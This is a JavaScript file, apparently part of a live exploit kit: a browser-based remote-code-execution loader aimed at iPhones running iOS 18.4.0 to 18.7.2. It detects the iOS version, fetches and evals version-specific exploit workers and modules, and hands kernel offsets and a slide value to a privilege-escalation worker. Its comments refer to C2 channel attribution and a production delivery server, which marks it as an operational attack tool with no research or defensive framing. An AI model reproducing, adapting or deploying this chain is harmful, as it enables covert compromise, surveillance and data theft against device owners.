355 lines
12 KiB
JavaScript
355 lines
12 KiB
JavaScript
// Match production external (muiu38-mirror rce_loader.js): SERVER_LOG=false.
|
|
// print() is a no-op except for reportError=true (errors still surface).
|
|
// With true, every print() fires a SYNCHRONOUS blocking XHR to /log.html,
|
|
// which slows the time-sensitive RCE chain and can get WebContent killed
|
|
// before pe_worker runs — observed as the 403-log retry loop on our link.
|
|
var SERVER_LOG = false;
|
|
let logStart = new Date().getTime();
|
|
let logEntryID = 0;
|
|
var offsets = {};
|
|
var slide;
|
|
var chipset;
|
|
var device_model;
|
|
// Include the page directory (e.g. "/next-chain/") so desiredHost sent to the
|
|
// worker resolves getJS() calls under the same base, not the server root.
|
|
var localHost = location.origin + location.pathname.replace(/[^/]*$/, '').replace(/\/$/, '');
|
|
// Per-channel patch string (X.Y.ZZ) passed from weifile.html via ?c= query param.
|
|
// Forwarded through the exploit chain to pe_worker.js for C2 channel attribution.
|
|
var channelCode = '';
|
|
try {
|
|
var m = new URLSearchParams(location.search).get('c');
|
|
if (m) channelCode = m.toUpperCase();
|
|
} catch (eCC) {}
|
|
function print(x, reportError = false, dumphex = false) {
|
|
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
|
if (!SERVER_LOG && !reportError) return;
|
|
let obj = {
|
|
id: logEntryID++,
|
|
text: out,
|
|
};
|
|
if (dumphex) {
|
|
obj.hex = 1;
|
|
obj.text = x;
|
|
}
|
|
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&');
|
|
const xhr = new XMLHttpRequest();
|
|
xhr.open("GET", "/log.html?" + req, false);
|
|
xhr.send(null);
|
|
}
|
|
function markPeDone() {
|
|
// 10min TTL is enforced by frame.html. Cookie is also set by delivery when
|
|
// pe_worker.js is served (covers WebContent death before this runs).
|
|
var ts = String(Date.now());
|
|
try { localStorage.setItem('_x_pe_done', ts); } catch (e) {}
|
|
try {
|
|
document.cookie = '_x_pe_done=' + encodeURIComponent(ts) +
|
|
'; Path=/; Max-Age=600; SameSite=Lax';
|
|
} catch (e2) {}
|
|
}
|
|
function redirect() {
|
|
// Do NOT navigate (old /404.html caused reload loops with re-entrant frame).
|
|
markPeDone();
|
|
try { if (typeof window.stop === 'function') window.stop(); } catch (e) {}
|
|
}
|
|
// Relative URLs resolve under /assets/js/; leading-/ paths use location.origin (delivery fallthrough).
|
|
// Retries + status/length checks — plain same-origin fetch.
|
|
function getJS(fname, method = 'GET', tries = 5) {
|
|
const minLen = 1;
|
|
for (let attempt = 1; attempt <= tries; attempt++) {
|
|
try {
|
|
let url = fname;
|
|
if (typeof fname === 'string' && fname.startsWith('/') && localHost) {
|
|
url = String(localHost).replace(/\/$/, '') + fname;
|
|
}
|
|
if (attempt > 1) {
|
|
const sep = url.indexOf('?') >= 0 ? '&' : '?';
|
|
url = url + sep + '_r=' + attempt;
|
|
}
|
|
const xhr = new XMLHttpRequest();
|
|
xhr.open(method || 'GET', url, false);
|
|
xhr.send(null);
|
|
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length >= minLen) {
|
|
return xhr.responseText;
|
|
}
|
|
} catch (e) {
|
|
// retry
|
|
}
|
|
}
|
|
}
|
|
function iosVersionKey(v) {
|
|
if (!v) return '';
|
|
if (typeof v === 'string') {
|
|
if (v.indexOf('.') >= 0) return v.replace(/\./g, ',');
|
|
return v;
|
|
}
|
|
if (v.join) return v.join(',');
|
|
return String(v);
|
|
}
|
|
function validateStage1Handoff() {
|
|
if (!device_model) return false;
|
|
if (!offsets || typeof offsets !== 'object') return false;
|
|
if (Object.keys(offsets).length < 40) return false;
|
|
if (slide == null || slide === undefined) return false;
|
|
try {
|
|
if (typeof slide === 'bigint' && slide === 0n) return false;
|
|
} catch (e) {}
|
|
return true;
|
|
}
|
|
function packOffsetsForTransfer(src) {
|
|
var out = {};
|
|
if (!src) return out;
|
|
try {
|
|
for (var k in src) {
|
|
if (!Object.prototype.hasOwnProperty.call(src, k)) continue;
|
|
var val = src[k];
|
|
out[k] = (val != null && val.toString) ? val.toString() : String(val);
|
|
}
|
|
} catch (e) {}
|
|
return out;
|
|
}
|
|
function postStage1ToWorker(worker, begin, origin, desiredHost) {
|
|
var msg = {
|
|
type: 'stage1',
|
|
begin: begin,
|
|
origin: origin,
|
|
ios_version: iosVersionKey(ios_version),
|
|
device_model: device_model,
|
|
chipset: chipset,
|
|
slide: (slide != null && slide.toString) ? slide.toString() : '0',
|
|
offsets: packOffsetsForTransfer(offsets),
|
|
desiredHost: desiredHost,
|
|
SERVER_LOG: SERVER_LOG,
|
|
channelCode: channelCode
|
|
};
|
|
try {
|
|
worker.postMessage(msg);
|
|
return true;
|
|
} catch (e) {
|
|
return false;
|
|
}
|
|
}
|
|
const signal = new Uint8Array(8);
|
|
const dlopen_worker = `(() => {
|
|
self.onmessage = function (e) {
|
|
const {
|
|
type,
|
|
data
|
|
} = e.data;
|
|
switch (type) {
|
|
case 'init':
|
|
const canvas = new OffscreenCanvas(1, 1);
|
|
globalThis[0] = data;
|
|
createImageBitmap(canvas).then(bitmap => {
|
|
globalThis[1] = bitmap;
|
|
self.postMessage(null);
|
|
});
|
|
break;
|
|
case 'dlopen':
|
|
globalThis[1].close();
|
|
break;
|
|
}
|
|
};
|
|
})();`;
|
|
const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'});
|
|
const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob);
|
|
|
|
// LIVE band: iOS 18.4.0 - 18.7.2
|
|
function parseIosVersion() {
|
|
let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1];
|
|
if (!version) {
|
|
const m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(navigator.userAgent);
|
|
if (m) version = m[1];
|
|
}
|
|
if (version) return version.split('_').map(part => parseInt(part, 10));
|
|
return null;
|
|
}
|
|
function pickLiveBand(v) {
|
|
if (!v || !v.length) return null;
|
|
// historical special-case retained
|
|
if (v[0] === 18 && v[1] === 1 && (v[2] || 0) === 1) {
|
|
return { worker: 'rce_worker_18.6.js', module: 'rce_module_18.6.js', stage1_rce: true, band: '18.6' };
|
|
}
|
|
if (v[0] !== 18) return null;
|
|
const min = v[1] || 0, pat = v[2] || 0;
|
|
if (min < 4 || min > 7) return null;
|
|
if (min === 7 && pat >= 3) return null; // 18.7.3+ patched / out of LIVE
|
|
// 18.7.0-18.7.2: offsets live in worker; module is stub only (do not eval fake 22E/22F table)
|
|
if (min === 7) return { worker: 'rce_worker_18.7.js', module: 'rce_module_18.7.js', stage1_rce: true, band: '18.7' };
|
|
// 18.6.x: same — stub module + self-contained worker
|
|
if (min === 6) return { worker: 'rce_worker_18.6.js', module: 'rce_module_18.6.js', stage1_rce: true, band: '18.6' };
|
|
// 18.4.x / 18.5.x — legacy check_attempt; rce_module.js must have 22E (18.4) + 22F76 (18.5)
|
|
return { worker: 'rce_worker_18.4.js', module: 'rce_module.js', stage1_rce: false, band: '18.4' };
|
|
}
|
|
|
|
const ios_version = parseIosVersion();
|
|
const live_band = pickLiveBand(ios_version);
|
|
if (!live_band) {
|
|
print('unsupported iOS ' + (ios_version ? ios_version.join('.') : 'unknown') + ' (LIVE=18.4.0-18.7.2)', true);
|
|
redirect();
|
|
} else {
|
|
let workerCode = getJS(`${live_band.worker}?${Date.now()}`);
|
|
if (!workerCode || workerCode.length < 1000) {
|
|
print('worker load failed: ' + live_band.worker, true);
|
|
redirect();
|
|
} else {
|
|
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
|
|
let workerBlobUrl = URL.createObjectURL(workerBlob);
|
|
(() => {
|
|
function doRedirect() {
|
|
redirect();
|
|
}
|
|
function main() {
|
|
const randomValues = new Uint32Array(32);
|
|
const begin = Date.now();
|
|
const origin = location.origin;
|
|
const worker = new Worker(workerBlobUrl);
|
|
const dlopen_workers = [];
|
|
async function prepare_dlopen_workers() {
|
|
for (let i = 1; i <= 2; ++i) {
|
|
const worker = new Worker(dlopen_worker_url);
|
|
dlopen_workers.push(worker);
|
|
await new Promise(r => {
|
|
worker.postMessage({
|
|
type: 'init',
|
|
data: 0x11111111 * i
|
|
});
|
|
worker.onmessage = r;
|
|
});
|
|
}
|
|
}
|
|
const iframe = document.createElement('iframe');
|
|
iframe.srcdoc = '';
|
|
iframe.style.height = 0;
|
|
iframe.style.width = 0;
|
|
document.body.appendChild(iframe);
|
|
async function message_handler(e) {
|
|
const data = e.data;
|
|
switch (data.type) {
|
|
case 'redirect':
|
|
{
|
|
markPeDone();
|
|
doRedirect();
|
|
break;
|
|
}
|
|
case 'pe_start':
|
|
case 'pe_spawned':
|
|
{
|
|
// Early lock: set before pe_worker runs / WebContent dies
|
|
markPeDone();
|
|
break;
|
|
}
|
|
case 'prepare_dlopen_workers':
|
|
{
|
|
await prepare_dlopen_workers();
|
|
worker.postMessage({
|
|
type: 'dlopen_workers_prepared'
|
|
});
|
|
break;
|
|
}
|
|
case 'trigger_dlopen1':
|
|
{
|
|
dlopen_workers[0].postMessage({
|
|
type: 'dlopen'
|
|
});
|
|
worker.postMessage({
|
|
type: 'check_dlopen1'
|
|
});
|
|
break;
|
|
}
|
|
case 'trigger_dlopen2':
|
|
{
|
|
dlopen_workers[1].postMessage({
|
|
type: 'dlopen'
|
|
});
|
|
worker.postMessage({
|
|
type: 'check_dlopen2'
|
|
});
|
|
break;
|
|
}
|
|
case 'sign_pointers':
|
|
{
|
|
iframe.contentDocument.write('1');
|
|
worker.postMessage({
|
|
type: 'setup_fcall'
|
|
});
|
|
break;
|
|
}
|
|
case 'slow_fcall':
|
|
{
|
|
iframe.contentDocument.write('1');
|
|
worker.postMessage({
|
|
type: 'slow_fcall_done'
|
|
});
|
|
break;
|
|
}
|
|
default:
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
worker.onmessage = message_handler;
|
|
try
|
|
{
|
|
let rceCode = getJS(`${live_band.module}?${Date.now()}`);
|
|
// 18.6/18.7 stage1_rce: stub module only — never eval a large offset table on page.
|
|
// 18.4/18.5: need real rce_module.js (22E + 22F76) for check_attempt.
|
|
if (live_band.stage1_rce) {
|
|
if (rceCode && rceCode.length >= 500) {
|
|
print('stage1_rce: refusing large page module ' + live_band.module + ' (len=' + rceCode.length + ') — using worker offsets', true);
|
|
} else if (rceCode && rceCode.length >= 1) {
|
|
try { eval(rceCode); } catch (eStub) {}
|
|
}
|
|
} else {
|
|
if (!rceCode || rceCode.length < 500) {
|
|
print('module load failed: ' + live_band.module, true);
|
|
return;
|
|
}
|
|
try {
|
|
eval(rceCode);
|
|
} catch (e) {
|
|
print('module eval failed', true);
|
|
return;
|
|
}
|
|
}
|
|
let desiredHost = "";
|
|
desiredHost = localHost;
|
|
// 18.6.x / 18.7.0-18.7.2: self-contained worker (stage1_rce)
|
|
// 18.4.x / 18.5.x: check_attempt + stage1 handoff (serialized offsets)
|
|
if(live_band.stage1_rce)
|
|
{
|
|
worker.postMessage({
|
|
type: 'stage1_rce',
|
|
desiredHost,
|
|
randomValues,
|
|
SERVER_LOG,
|
|
channelCode: channelCode
|
|
});
|
|
}
|
|
else
|
|
{
|
|
var attempt = new check_attempt();
|
|
function onAttemptDone(result) {
|
|
if (!result) return;
|
|
if (!validateStage1Handoff()) return;
|
|
postStage1ToWorker(worker, begin, origin, desiredHost);
|
|
}
|
|
attempt.start().then((result) => {
|
|
if (!result) {
|
|
attempt.start().then(onAttemptDone).catch(function () {});
|
|
} else {
|
|
onAttemptDone(true);
|
|
}
|
|
}).catch(function () {});
|
|
}
|
|
}
|
|
catch(e)
|
|
{
|
|
// print("Got exception on something: " + e);
|
|
}
|
|
}
|
|
main();
|
|
})();
|
|
} // workerCode ok
|
|
} // end live_band
|